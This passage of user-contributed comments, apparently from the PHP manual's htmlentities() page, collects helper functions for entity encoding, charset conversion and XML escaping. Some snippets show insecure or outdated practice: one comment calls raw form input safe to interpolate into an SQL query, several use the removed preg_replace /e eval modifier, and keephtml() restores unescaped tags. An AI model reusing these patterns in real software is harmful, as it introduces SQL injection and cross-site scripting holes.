        $ascii = ord($char);
        if ($ascii < 128) {
            // one-byte character
            $result .= ($encodeTags) ? htmlentities($char) : $char;
        } else if ($ascii < 192) {
            // non-utf8 character or not a start byte
        } else if ($ascii < 224) {
            // two-byte character
            $result .= htmlentities(substr($utf8, $i, 2), ENT_QUOTES, 'UTF-8');
            $i++;
        } else if ($ascii < 240) {
            // three-byte character
            $ascii1 = ord($utf8[$i+1]);
            $ascii2 = ord($utf8[$i+2]);
            $unicode = (15 & $ascii) * 4096 +
                       (63 & $ascii1) * 64 +
                       (63 & $ascii2);
            $result .= "&#$unicode;";
            $i += 2;
        } else if ($ascii < 248) {
            // four-byte character
            $ascii1 = ord($utf8[$i+1]);
            $ascii2 = ord($utf8[$i+2]);
            $ascii3 = ord($utf8[$i+3]);
            $unicode = (15 & $ascii) * 262144 +
                       (63 & $ascii1) * 4096 +
                       (63 & $ascii2) * 64 +
                       (63 & $ascii3);
            $result .= "&#$unicode;";
            $i += 3;
        }
    }
    return $result;
}

echo utf8tohtml($anyUTF8string, TRUE);

?>

regards, silverbeat
sirarthur at sirarthur dot info 05-Oct-2009 01:05
When happens that you want to encode special characters but not the HTML tags using this function you've two options:

a) Build your own function and go replace by character; eg.

<?php
  for($i = 0; $i < strlen($string); $i++){
     switch(substr($string,$i,1)){
        //..... A VERY HUGE switch here with all characters to encode.
    }
 }
?>

b) use this function and simple restore the html tags afterwards. Which gives you a 6 line function as follow:

<?php
  function keephtml($string){
          $res = htmlentities($string);
          $res = str_replace("&lt;","<",$res);
          $res = str_replace("&gt;",">",$res);
          $res = str_replace("&quot;",'"',$res);
          $res = str_replace("&amp;",'&',$res);
          return $res;
}
?>
montana 08-Jul-2009 09:54
under what circumstances would someone want a ntilde [ñ] to be converted into "Ã±" as htmlentities does?
the correct method of translation should return the accurate NCR for the multibyte unicode sequence
which in this case is &#241;

<?php

    //simple task: convert everything from utf-8 into an NCR[numeric character reference]
    class unicode_replace_entities {
        public function UTF8entities($content="") {
            $contents = $this->unicode_string_to_array($content);
            $swap = "";
            $iCount = count($contents);
            for ($o=0;$o<$iCount;$o++) {
                $contents[$o] = $this->unicode_entity_replace($contents[$o]);
                $swap .= $contents[$o];
            }
            return mb_convert_encoding($swap,"UTF-8"); //not really necessary, but why not.
        }

        public function unicode_string_to_array( $string ) { //adjwilli
            $strlen = mb_strlen($string);
            while ($strlen) {
                $array[] = mb_substr( $string, 0, 1, "UTF-8" );
                $string = mb_substr( $string, 1, $strlen, "UTF-8" );
                $strlen = mb_strlen( $string );
            }
            return $array;
        }

        public function unicode_entity_replace($c) { //m. perez
            $h = ord($c{0});
            if ($h <= 0x7F) {
                return $c;
            } else if ($h < 0xC2) {
                return $c;
            }

            if ($h <= 0xDF) {
                $h = ($h & 0x1F) << 6 | (ord($c{1}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            } else if ($h <= 0xEF) {
                $h = ($h & 0x0F) << 12 | (ord($c{1}) & 0x3F) << 6 | (ord($c{2}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            } else if ($h <= 0xF4) {
                $h = ($h & 0x0F) << 18 | (ord($c{1}) & 0x3F) << 12 | (ord($c{2}) & 0x3F) << 6 | (ord($c{3}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            }
        }
    }//

    //utf-8 environment
    $content = "<strong>baño baño baño</strong>日本語 = nihongo da ze.<br />";

    $oUnicodeReplace = new unicode_replace_entities();
    $content = $oUnicodeReplace->UTF8entities($content);
    echo "<br />Result:<br />";
    echo $content;
    $source = htmlentities($content);
    echo "<br />htmlentities of resulting data:<br />";
    echo $source;

    echo "<br /><br />Note: Entities get replaced with 'literals' in textarea FF3<br /><br />";
    echo "<textarea style='width:300px;height:150px;'>";
    echo $content;
    echo "</textarea>";

    echo "<br /><br />For editing NCR's rather than 'literals' in a textarea<br /><br />";
    echo "<textarea style='width:300px;height:150px;'>";
    echo preg_replace("/(&#)+/","&amp;#",$content);
    echo "</textarea>";

?>
brianhamner at yahoo dot com 08-Jul-2009 09:26
If you want something simple that actually works, try this. Strips MS word and other entities and returns a clear data string:

<?php
//call this function

function DoHTMLEntities ($string) {
    $trans_tbl[chr(145)] = '&#8216;';
    $trans_tbl[chr(146)] = '&#8217;';
    $trans_tbl[chr(147)] = '&#8220;';
    $trans_tbl[chr(148)] = '&#8221;';
    $trans_tbl[chr(142)] = '&eacute;';
    $trans_tbl[chr(150)] = '&#8211;';
    $trans_tbl[chr(151)] = '&#8212;';
    return strtr ($string, $trans_tbl);
}

//insert your string variable here

        $foo = str_replace("\r\n\r\n","",htmlentities($your_string));
        $foo2 = str_replace("\r\n"," ",$foo);
        $foo3 = str_replace(" & ","&amp;",$foo2);
        echo DoHTMLEntities ($foo3);
?>
alonso05 at gmail dot com 30-Jun-2009 09:22
Hello, I found a great function when you need a way to encode content from the database as numeric entity references, as that’s a safe way to use high characters and special characters in an xml document, like in an RSS feed.

<?php
function xml_character_encode($string, $trans='') {
  $trans = (is_array($trans)) ? $trans : get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);
  foreach ($trans as $k=>$v)
    $trans[$k]= "&#".ord($k).";";

  return strtr($string, $trans);
}
?>
mzvarik at gmail dot com 14-May-2009 05:03
CZECH entities:

<?php
$ent = array(
    'ě' => '&#283;',
    'Ě' => '&#282;',
    'š' => '&#353;',
    'Š' => '&#352;',
    'č' => '&#269;',
    'Č' => '&#268;',
    'ř' => '&#345;',
    'Ř' => '&#344;',
    'ž' => '&#382;',
    'Ž' => '&#381;',
    'ý' => '&#253;',
    'Ý' => '&#221;',
    'á' => '&#225;',
    'Á' => '&#193;',
    'í' => '&#237;',
    'Í' => '&#205;',
    'é' => '&#233;',
    'É' => '&#201;',
    'ú' => '&#250;',
    'ů' => '&#367;',
    'Ů' => '&#366;',
    'ď' => '&#271;',
    'Ď' => '&#270;',
    'ť' => '&#357;',
    'Ť' => '&#356;',
    'ň' => '&#328;',
    'Ň' => '&#327;'
);

echo strtr('ěščřžýáíéúůďťňĚŠČŘŽÝÁÍÉÚŮĎŤŇ', $ent);
?>
busbyjon at gmail dot com 07-Apr-2009 01:49
I took one of the previous functions above - (which only encodes the string once - which is great) and added the ability to encode & -> &amp;

See below.

Its a shame we cant do this straight with htmlentities (with double encode set to false)

<?php
function htmlButTags($str) {
        // Take all the html entities
        $caracteres = get_html_translation_table(HTML_ENTITIES);
        // Find out the "tags" entities
        $remover = get_html_translation_table(HTML_SPECIALCHARS);
        // Spit out the tags entities from the original table
        $caracteres = array_diff($caracteres, $remover);
        // Translate the string....
        $str = strtr($str, $caracteres);
        // And that's it!
        // oo now amps
        $str = preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/","&amp;" , $str);

        return $str;
    }
?>
gunter [dot] sammet [at] gmail [dot] com 13-Jan-2009 10:48
Had a heck of a time to get my rss entities right. using htmlentities didn't work and using html_entity_decode didn't work either. Ended up writing a custom function to encode and decode. It might still need some work but I thought to share it because I couldn't find anything on the net. Always open for suggestions to improve it! Here it is:

<?php
  $entity_custom_from = false;
  $entity_custom_to = false;
  function html_entity_decode_encode_rss($data) {
    global $entity_custom_from, $entity_custom_to;
    if(!is_array($entity_custom_from) || !is_array($entity_custom_to)){
      $array_position = 0;
      foreach (get_html_translation_table(HTML_ENTITIES) as $key => $value) {
        //print("<br />key: $key, value: $value <br />\n");
        switch ($value) {
          // These ones we can skip
          case '&nbsp;':
            break;
          case '&gt;':
          case '&lt;':
          case '&quot;':
          case '&apos;':
          case '&amp;':
            $entity_custom_from[$array_position] = $key;
            $entity_custom_to[$array_position] = $value;
            $array_position++;
            break;
          default:
            $entity_custom_from[$array_position] = $value;
            $entity_custom_to[$array_position] = $key;
            $array_position++;
        }
      }
    }
    return str_replace($entity_custom_from, $entity_custom_to, $data);
  }
?>
Tom Walter 16-Oct-2008 07:14
Note that as of 5.2.5 it appears that if the input string contains a character that is not valid for the output encoding you've specified, then this function returns null.

You might expect it to just strip the invalid char, but it doesn't.

You can strip the chars yourself like so:

iconv('utf-8','utf-8',$str);

You can combine that with htmlentities also:

$str = htmlentities(iconv('UTF-8', 'UTF-8//IGNORE', $str, ENT_QUOTES, 'UTF-8');

Should give you a string with htmlentities encoded to utf-8, and any unsupported chars stripped.
Kenneth Kin Lum 22-Sep-2008 04:47
use htmlspecialchars() if you are passing in a usual ASCII string.  It is faster than htmlentities().

For example, if you are just doing

htmlentities('<div style="background: #fff"></div>');

then you can just use htmlspecialchars().  htmlentities() will look for all possible ways to convert string into html entities, such as &copy; or &eacute; (which is e with an acute accent on top).

Note that ASCII is just 7 bit, which is 0x00 to 0x7F.  htmlspecialchars() will handle characters inside this range already.  htmlentities() is for the 8-bit Latin-1 (ISO-8859-1) to handle European characters, or for UTF-8 when the 3rd argument is "UTF-8" to handle UTF-8 characters, or other types of encodings using different values for the 3rd argument passed into htmlentities().
snevi at im dot com dot ve 21-Jul-2008 06:10
correction to my previous post and improvement of the function: (the post was changed by the html parser and the characters displays as they should not)

<?php
    function XMLEntities($string)
    {
        $string = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/e', '_privateXMLEntities("$0")', $string);
        return $string;
    }

    function _privateXMLEntities($num)
    {
    $chars = array(
        128 => '&#8364;',
        130 => '&#8218;',
        131 => '&#402;',
        132 => '&#8222;',
        133 => '&#8230;',
        134 => '&#8224;',
        135 => '&#8225;',
        136 => '&#710;',
        137 => '&#8240;',
        138 => '&#352;',
        139 => '&#8249;',
        140 => '&#338;',
        142 => '&#381;',
        145 => '&#8216;',
        146 => '&#8217;',
        147 => '&#8220;',
        148 => '&#8221;',
        149 => '&#8226;',
        150 => '&#8211;',
        151 => '&#8212;',
        152 => '&#732;',
        153 => '&#8482;',
        154 => '&#353;',
        155 => '&#8250;',
        156 => '&#339;',
        158 => '&#382;',
        159 => '&#376;');
        $num = ord($num);
        return (($num > 127 && $num < 160) ? $chars[$num] : "&#".$num.";" );
    }
?>

in the previous post, to correct the HEX values that are not rendered, the program use a for each cicle, but that introduces a mayor complexity in execution time, so, we use the ability to call functions in the preg_replace second parameter, and ceate another funcion that evaluates the ord of the character given, and if it is between 127 and 160 it returns the modified HEX value to be understood by the browser and not brake the XML
(this work with dynamic XML generated form php with dynamic data from any source)

p.d: the '&'(&) should appear in this post as a single ampersand character and not as the html entity
keenskelly at gmail dot com 09-Jul-2008 10:00
Correction to my previous post: the set of ENTITY declarations must be inside a <!DOCTYPE element; also &nbsp; is NOT pre-defined in XML and must be left in the entity list. I also extended the list with the windows 1252 character set using a sample function borrowed from php.net user comments and extended with euro entity which we need for our app. Here is the final code that is in our production app:

<?php

// Generate a list of entity declarations from the HTML_ENTITIES set that PHP knows about to dump into the document
function htmlentities_entities() {
        $output = "<!DOCTYPE html [\n";
        foreach (get_html_translation_table_CP1252(HTML_ENTITIES) as $value) {
                $name = substr($value, 1, strlen($value) - 2);
                switch ($name) {
                        // These ones we can skip because they're built into XML
                        case 'gt':
                        case 'lt':
                        case 'quot':
                        case 'apos':
                        case 'amp': break;
                        default: $output .= "<!ENTITY {$name} \"&{$name};\">\n";
                }
        }
        $output .= "]>\n";
        return($output);
}

// ref: http://php.net/manual/en/function.get-html-translation-table.php#76564
function get_html_translation_table_CP1252($type) {
        $trans = get_html_translation_table($type);
        $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
        $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
        $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
        $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
        $trans[chr(134)] = '&dagger;';    // Dagger
        $trans[chr(135)] = '&Dagger;';    // Double Dagger
        $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
        $trans[chr(137)] = '&permil;';    // Per Mille Sign
        $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
        $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
        $trans[chr(140)] = '&OElig;';    // Latin Capital Ligature OE
        $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
        $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
        $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
        $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
        $trans[chr(149)] = '&bull;';    // Bullet
        $trans[chr(150)] = '&ndash;';    // En Dash
        $trans[chr(151)] = '&mdash;';    // Em Dash
        $trans[chr(152)] = '&tilde;';    // Small Tilde
        $trans[chr(153)] = '&trade;';    // Trade Mark Sign
        $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
        $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
        $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
        $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
        $trans['euro'] = '&euro;';    // euro currency symbol
        ksort($trans);
        return $trans;
}

?>

[EDIT BY danbrown AT php DOT net: The user's original note contained the following text:

"So here's something fun: if you create an XML document in PHP and use htmlentities() to encode text data, then later want to read and parse the same document with PHP's xml_parse(), unless you include entity declarations into the generated document, the parser will stop on the unknown entities.

To account for this, I created a small function to take the translation table and turn it into XML <!ENTITY> definitions. I insert this output into the XML document immediately after the <?xml?> line and the parse errors magically vanish"
]
mat at matinfo dot ch 21-Apr-2008 11:34
Hi,

below a method to convert UTF-8 Latin-1 characters to HTML-Entity,
I'm created this to translate string with HTML element on it and i just wont to convert entities.

<?php
function convertLatin1ToHtml($str) {
    $html_entities = array (
        "&" =>  "&amp;",     #ampersand
        "á" =>  "&aacute;",     #latin small letter a
        "Â" =>  "&Acirc;",     #latin capital letter A
        "â" =>  "&acirc;",     #latin small letter a
        "Æ" =>  "&AElig;",     #latin capital letter AE
        "æ" =>  "&aelig;",     #latin small letter ae
        "À" =>  "&Agrave;",     #latin capital letter A
        "à" =>  "&agrave;",     #latin small letter a
        "Å" =>  "&Aring;",     #latin capital letter A
        "å" =>  "&aring;",     #latin small letter a
        "Ã" =>  "&Atilde;",     #latin capital letter A
        "ã" =>  "&atilde;",     #latin small letter a
        "Ä" =>  "&Auml;",     #latin capital letter A
        "ä" =>  "&auml;",     #latin small letter a
        "Ç" =>  "&Ccedil;",     #latin capital letter C
        "ç" =>  "&ccedil;",     #latin small letter c
        "É" =>  "&Eacute;",     #latin capital letter E
        "é" =>  "&eacute;",     #latin small letter e
        "Ê" =>  "&Ecirc;",     #latin capital letter E
        "ê" =>  "&ecirc;",     #latin small letter e
        "È" =>  "&Egrave;",     #latin capital letter E
/*... sorry cutting because limitation of php.net ...
... but the principle is it ;) ... */
        "û" =>  "&ucirc;",     #latin small letter u
        "Ù" =>  "&Ugrave;",     #latin capital letter U
        "ù" =>  "&ugrave;",     #latin small letter u
        "Ü" =>  "&Uuml;",     #latin capital letter U
        "ü" =>  "&uuml;",     #latin small letter u
        "Ý" =>  "&Yacute;",     #latin capital letter Y
        "ý" =>  "&yacute;",     #latin small letter y
        "ÿ" =>  "&yuml;",     #latin small letter y
        "Ÿ" =>  "&Yuml;",     #latin capital letter Y
    );

    foreach ($html_entities as $key => $value) {
        $str = str_replace($key, $value, $str);
    }
    return $str;
}
?>
za at byza dot it 15-Apr-2008 09:15
Trouble when using files with different charset?

htmlentities and html_entity_decode can be used to translate between charset!

Sample function:

<?php
function utf2latin($text) {
   $text=htmlentities($text,ENT_COMPAT,'UTF-8');
   return html_entity_decode($text,ENT_COMPAT,'ISO-8859-1');
}
?>
TKVLPUAIBSDB at spammotel dot com 14-Nov-2007 04:11
Yet another "help paste from MS Word" function. Characters from ISO-8859-1 charset are left in peace, while entities are built for non-standard characters from Windows CP1252.

<?php
function win1252toIso( $string ) {
    // These chars seem to be not contained
    // in php's CP1252 translation table
    static $extensions = array(
        142 => "&Zcaron;",
        158 => "&zcaron;"
    );
    // Go through string and decide char by char:
    // "leave as is or build entity?"
    $newStr = "";
    for( $i=0; $i < strlen( $string ); $i++ ) {
        $ord = ord( $string[$i] );
        if ( in_array( $ord, array_keys( $extensions ) ) ) {
            // build entity using extra translation table
            $newStr .= $extensions[$ord];
        }
        else {
            // build entity using php's translation table
            // or leave as is
            $newStr .= ( $ord > 127 && $ord < 160 ) ?
                htmlentities( $string[$i], ENT_NOQUOTES, "CP1252" )
                : $string[$i];
        }
    }
    return $newStr;
}
?>
marktpitman at gmail dot com 15-Oct-2007 07:21
I just thought I would add that if you're using the default charset, htmlentities will not correctly return the trademark ( ™ ) sign.

Instead it will return something like this: â�¢

If you need the trademark symbol, use:

<?php htmlentities( $html, ENT_QUOTES, "UTF-8" ); ?>
D. Gasser 24-Apr-2007 10:40
When using UTF-8 as charset, you'll have to set UTF-8 in braces, otherwise the varaible is not recognized.
q (dot) rendeiro (at) gmail (dot) com 07-Mar-2007 04:41
I've seen lots of functions to convert all the entities, but I needed to do a fulltext search in a db field that had named entities instead of numeric entities (edited by tinymce), so I searched the tinymce source and found a string with the value->entity mapping. So, i wrote the following function to encode the user's query with named entities.

The string I used is different of the original, because i didn't want to convert ' or ". The string is too long, so I had to cut it. To get the original check TinyMCE source and search for nbsp or other entity ;)

<?php

$entities_unmatched = explode(',', '160,nbsp,161,iexcl,162,cent, [...] ');
$even = 1;
foreach($entities_unmatched as $c) {
    if($even) {
        $ord = $c;
    } else {
        $entities_table[$ord] = $c;
    }
    $even = 1 - $even;
}

function encode_named_entities($str) {
    global $entities_table;

    $encoded_str = '';
    for($i = 0; $i < strlen($str); $i++) {
        $ent = @$entities_table[ord($str{$i})];
        if($ent) {
            $encoded_str .= "&$ent;";
        } else {
            $encoded_str .= $str{$i};
        }
    }
    return $encoded_str;
}

?>
realcj at g mail dt com 06-Nov-2006 10:41
If you are building a loadvars page for Flash and have problems with special chars such as " & ", " ' " etc, you should escape them for flash:

Try trace(escape("&")); in flash' actionscript to see the escape code for &;

% = %25
& = %26
' = %27

<?php
function flashentities($string){
return str_replace(array("&","'"),array("%26","%27"),$string);
}
?>

Those are the two that concerned me. YMMV.
eric.wallet at yahoo.fr 26-Sep-2006 04:57
First method convert characters to decimal values.
Second will reverse the problem !!!

<?php
function htmlnumericentities($str){
  return preg_replace('/[^!-%\x27-;=?-~ ]/e', '"&#".ord("$0").chr(59)', $str);
}

function numericentitieshtml($str){
  return utf8_encode(preg_replace('/&#(\d+);/e', 'chr(str_replace(";","",str_replace("&#","","$0")))', $str));
}

echo (htmlnumericentities ("Ceci est un test : & é $ à ç <"));
echo ("<br/>\n");
echo (numericentitieshtml (htmlnumericentities ("Ceci est un test : & é $ à ç <")));
?>

Output is :
Ceci est un test : &#38; &#233; $ &#224; &#231; &#60;<br/>
Ceci est un test : & é $ à ç <
daviscabral[arroba]gmail[ponto]com 28-Jul-2006 12:52
unhtmlentities for all entities:

<?php

function unhtmlentities ($string) {
   $trans_tbl1 = get_html_translation_table (HTML_ENTITIES);
   foreach ( $trans_tbl1 as $ascii => $htmlentitie ) {
        $trans_tbl2[$ascii] = '&#'.ord($ascii).';';
   }
   $trans_tbl1 = array_flip ($trans_tbl1);
   $trans_tbl2 = array_flip ($trans_tbl2);
   return strtr (strtr ($string, $trans_tbl1), $trans_tbl2);
}

?>
info at pirandot dot de 22-Jul-2006 07:14
The data returned by a text input field is ready to be used in a data base query when enclosed in single quotes, e.g.
<?php
   mysql_query ("SELECT * FROM Article WHERE id = '$data'");
?>
But you will get problems when writing back this data into the input field's value,
<?php
   echo "<input name='data' type='text' value='$data'>";
?>
because hmtl codes would be interpreted and escape sequences would cause strange output.

The following function may help:
<?php
function deescape ($s, $charset='UTF-8')
{
   //  don't interpret html codes and don't convert quotes
   $s  =  htmlentities ($s, ENT_NOQUOTES, $charset);

   //  delete the inserted backslashes except those for protecting single quotes
   $s  =  preg_replace ("/\\\\([^'])/e", '"&#" . ord("$1") . ";"', $s);

   //  delete the backslashes inserted for protecting single quotes
   $s  =  str_replace ("\\'", "&#" . ord ("'") . ";", $s);

   return  $s;
}
?>
Try some input like:  a'b"c\d\'e\"f\\g&x#27;h  to test ...
anonymous 26-Apr-2006 12:38
This function will encode anything that is non Standard ASCII (that is, that is above #127 in the ascii table)

<?php
// allhtmlentities : mainly based on "chars_encode()"  by Tim Burgan <timburgan@gmail.com> [http://www.php.net/htmlentities]
function allhtmlentities($string) {
    if ( strlen($string) == 0 )
        return $string;
    $result = '';
    $string = htmlentities($string, HTML_ENTITIES);
    $string = preg_split("//", $string, -1, PREG_SPLIT_NO_EMPTY);
    $ord = 0;
    for ( $i = 0; $i < count($string); $i++ ) {
        $ord = ord($string[$i]);
        if ( $ord > 127 ) {
            $string[$i] = '&#' . $ord . ';';
        }
    }
    return implode('',$string);
}
?>
edo at edwaa dot com 17-Nov-2005 08:48
A version of the xml entities function below. This one replaces the "prime" character (′) with which I had difficulties.

<?php
// XML Entity Mandatory Escape Characters
function xmlentities($string) {
   return str_replace ( array ( '&', '"', "'", '<', '>', '�' ), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;', '&apos;' ), $string );
}
?>
info at bleed dot ws 14-Oct-2005 10:42
here the centralized version of htmlentities() for multibyte.

<?php
function mb_htmlentities($string)
{
    $string = htmlentities($string, ENT_COMPAT, mb_internal_encoding());
    return $string;
}

?>
fanfatal at fanfatal dot pl 28-Aug-2005 02:28
I wrote usefull function which is support iso-8859-2 encoding with htmlentities function ;]

<?php
/*
 *    Function htmlentities which support iso-8859-2
 *
 *    @param string
 *    @return string
 *    @author FanFataL
 */
function htmlentities_iso88592($string='') {
    $pl_iso = array('&ecirc;', '&oacute;', '&plusmn;', '&para;', '&sup3;', '&iquest;', '&frac14;', '&aelig;', '&ntilde;', '&Ecirc;', '&Oacute;', '&iexcl;', '&brvbar;', '&pound;', '&not;', '&macr;', '&AElig;', '&Ntilde;');
    $entitles = get_html_translation_table(HTML_ENTITIES);
    $entitles = array_diff($entitles, $pl_iso);
    return strtr($string, $entitles);
}
?>

Greatings ;-)
...
send at mail dot 2aj dot net 14-Jul-2005 10:03
If you are programming XML documents and are using the htmlentities function, then performing a  str_replace on ' into &apos; to set mandatory escape characters you can use this simple function instead.

This function, xmlentities, is basically the XML parsing equivalent of htmlentities, with fewer options than its HTML counterpart:

<?php
// XML Entity Mandatory Escape Characters
function xmlentities ( $string )
{
    return str_replace ( array ( '&', '"', "'", '<', '>' ), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;' ), $string );
}
?>

Example:

<?php
function xmlentities($string)
{
    return str_replace ( array ( '&', '"', "'", '<', '>' ), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;' ), $string );
}

echo xmlentities("If you don't use these mandatory escape characters <tags> between </tags>, XML will \"eXtensively\" & \"implicitly\" give you errors.");
?>

Produces...
If you don&apos;t use these mandatory escape characters &lt;tags&gt; between &lt;/tags&gt;, XML will &quot;eXtensively&quot; &amp; &quot;implicitly&quot; give you errors.
marques at displague dot com 24-Jan-2005 10:01
htmlEncodeText (below) needs a small tweak, the dash needs to be made literal to get picked up in cases like '<a href="blah-blah.php">'.  I have been using this function to parse my postgresql database calls since I have alot of unicode data and I don't want HTML data to be neutered (via htmlentities()).

<?php
function htmlEncodeText ($string)
{
  $pattern = '<([a-zA-Z0-9\.\, "\'_\/\-\+~=;:\(\)?&#%![\]@]+)>';
  preg_match_all ('/' . $pattern . '/', $string, $tagMatches, PREG_SET_ORDER);
  $textMatches = preg_split ('/' . $pattern . '/', $string);

  foreach ($textMatches as $key => $value) {
   $textMatches [$key] = htmlentities ($value);
  }

  for ($i = 0; $i < count ($textMatches); $i ++) {
   $textMatches [$i] = $textMatches [$i] . $tagMatches [$i] [0];
  }

  return implode ($textMatches);
}
?>

--Editor note: Combined some corrections to the regex pattern, thanks to fabian dot lange at web dot de, hammertscrew at veryweb dot com, webmaster AT scholesmafia DOT co DOT uk, thomas AT cosifan DOT de and marques at displague dot com---
Miguel (miguel at sigmanet dot com dot br) 20-Oct-2004 08:43
This is a simple script that I'm using to encode and decode values from a form. Save it with the name that you wish.

<?php

/*  When you call anyone of the two functions, set the $_str
     variable to the string that you want to encode or decode */

/* This function encodes the string.
    You can safetly use this function to save its result in a
    database. It eliminates any space in the beginning ou end
    of the string, HTML and PHP tags, and encode any special
    char to the usual HTML entities (&[...];), eliminating the
    possibility of bugs in inserting data on a table */
function encodeText($_str) {
  $_str = strip_tags($_str);
  $_str = trim($_str);
  $_str = htmlentities($_str);
  $_str = str_replace("\r\n", "#BR#", $_str);
  return($_str);
}

/* This function decodes the string.
    If you are showing the string in the body of a page, you
    can set the $_form variable to "false", and the function will
    use the "BR" tag to the new lines. But, if you need to show
    the string in a textarea, text or other input types of a form
    set the $_form variable to "true", then the function will use
    the "\r\n" to the new lines */
function decodeText($_str, $_form) {
  $trans_tbl = get_html_translation_table (HTML_ENTITIES);
  $trans_tbl = array_flip ($trans_tbl);
  $_str      = strtr($_str, $trans_tbl);
  if ($_form) {
    $_nl = "\r\n";
  } else {
    $_nl = "<br>";
  }
  $_str      = str_replace("#BR#", "$_nl", $_str);
  return($_str);
}

?>
m227 at poczta dot onet dot pl 26-May-2004 03:00
<?php
// tested with PHP 4.3.4, Apache 1.29
// function works like original htmlentities
// but preserves Polish characters encoded in CP-1250
// (Windows code page) from false conversion

// m227@poczta.onet.pl, 2004

function htmlentities1250($str)
{
    // four chars does not need any conversion
    // s` (9c), z` (9f), Z` (8f), S` (8c)
    $trans = array(
        "&sup3;"  => "\xb3", //  "l-"
        "&sup1;"  => "\xb9", //  "a,"
        "&ecirc;" => "\xea", //  "e,"
        "&aelig;" => "\xe6", //  "c`"
        "&ntilde;"=> "\xf1", //  "n`"
        "&iquest;"=> "\xbf", //  "z."
        "&yen;"   => "\xa5", //  "A,"
        "&AElig;" => "\xc6", //  "C`"
        "&macr;"  => "\xaf", //  "Z."
        "&Ecirc;" => "\xca", //  "E,"
        "&oacute;"=> "\xf3", //  "o`"
        "&Oacute;"=> "\xd3", //  "O`"
        "&pound;" => "\xa3", //  "L-"
        "&Ntilde;"=> "\xd1"  //  "N`"
    );
    return strtr(htmlentities($str), $trans);
}
?>
mail at britlinks dot com 19-May-2004 09:27
similar to cedric at shift-zone dot be's function, this 'cleans up' text from MS Word, and other non-alphanumeric characters to their valid [X]HTML counterparts

<?php
// strips slashes, and converts special characters to HTML equivalents for string defined in $var
function htmlfriendly($var,$nl2br = false){
    $chars = array(
        128 => '&#8364;',
        130 => '&#8218;',
        131 => '&#402;',
        132 => '&#8222;',
        133 => '&#8230;',
        134 => '&#8224;',
        135 => '&#8225;',
        136 => '&#710;',
        137 => '&#8240;',
        138 => '&#352;',
        139 => '&#8249;',
        140 => '&#338;',
        142 => '&#381;',
        145 => '&#8216;',
        146 => '&#8217;',
        147 => '&#8220;',
        148 => '&#8221;',
        149 => '&#8226;',
        150 => '&#8211;',
        151 => '&#8212;',
        152 => '&#732;',
        153 => '&#8482;',
        154 => '&#353;',
        155 => '&#8250;',
        156 => '&#339;',
        158 => '&#382;',
        159 => '&#376;');
    $var = str_replace(array_map('chr', array_keys($chars)), $chars, htmlentities(stripslashes($var)));
    if($nl2br){
        return nl2br($var);
    } else {
        return $var;
    }
}
?>
cedric at shift-zone dot be 04-May-2004 06:02
This is a conversion function for special chars.
Very usefull to convert a word document into valid html
(the html provided is successfully parsed by sablotron 0.97 using iso-8859-1 charset) :

<?php
function convertDoc2HTML($txt){
        $len = strlen($txt);
        $res = "";
        for($i = 0; $i < $len; ++$i) {
            $ord = ord($txt{$i});
            // check only non-standard chars
            if($ord >= 126){
                $res .= "&#".$ord.";";
            }
            else {
                // escape ", ' and \ chars
                switch($ord){
                    case 34 :
                        $res .= "\\\"";
                        break;
                    case 39 :
                        $res .= "\'";
                        break;
                    case 92 :
                        $res .= "\\\\";
                        break;
                    default : // the rest does not have to be modified
                        $res .= $txt{$i};
                }
            }
        }
        return $res;
}
?>
jake_mcmahon at hotmail dot com 29-Apr-2004 02:29
This fuction is particularly useful against XSS (cross-site-scripting-). XSS makes use of holes in code, whether it be in Javascript or PHP. XSS often, if not always, uses HTML entities to do its evil deeds, so this function in co-operation with your scripts (particularly search or submitting scripts) is a very useful tool in combatting "H4X0rz".
Guillaume Beaulieu 11-Apr-2004 02:10
Here's a simple script to transform filename with accented character in it into much more usable unaccented character for a restrictive filesystem.

<?php
$string = htmlentities($stringToModify);
/* Take the first letter of the entity (if you got filename with ([<>] in it the result will probably remain lookable*/
$string =  preg_replace("/\&(.)[^;]*;/", "\\1", $string);
/* Change the whitespace into _*/
$string = preg_replace("/[ ]/", "_", $string);
/* Dance ! */
print $string;
?>
Funky Ants 03-Apr-2004 11:55
I had a problem working with partially html encoded data, with a selection of unescaped ampersands, hex coded, and characters in "&amp;", style.
Which ive finally overcome by decoding all of the data, adn then reincoding it all.

I found a combination of a couple of peoples work useful.

<?php
function get_htmlspecialchars( $given, $quote_style = ENT_QUOTES ){
    return htmlentities( unhtmlentities(  $given ) , $quote_style  );
}

function unhtmlentities( $string ){
    $trans_tbl = get_html_translation_table ( HTML_ENTITIES );
    $trans_tbl = array_flip( $trans_tbl );
    $ret = strtr( $string, $trans_tbl );
    return preg_replace( '/&#(\d+);/me' , "chr('\\1')" , $ret );
}
?>
wwb at 3dwargamer dot net 31-Mar-2004 04:49
htmlentites is a very handy function, but it fails to fix one thing which I deal with alot: word 'smart' quotes and emdashes.

The below function replaces the funky double quotes with &quot;, funky single quotes with standard single quotes and fixes emdashes.

<?php
    function CleanupSmartQuotes($text)
    {
        $badwordchars=array(
                            chr(145),
                            chr(146),
                            chr(147),
                            chr(148),
                            chr(151)
                            );
        $fixedwordchars=array(
                            "'",
                            "'",
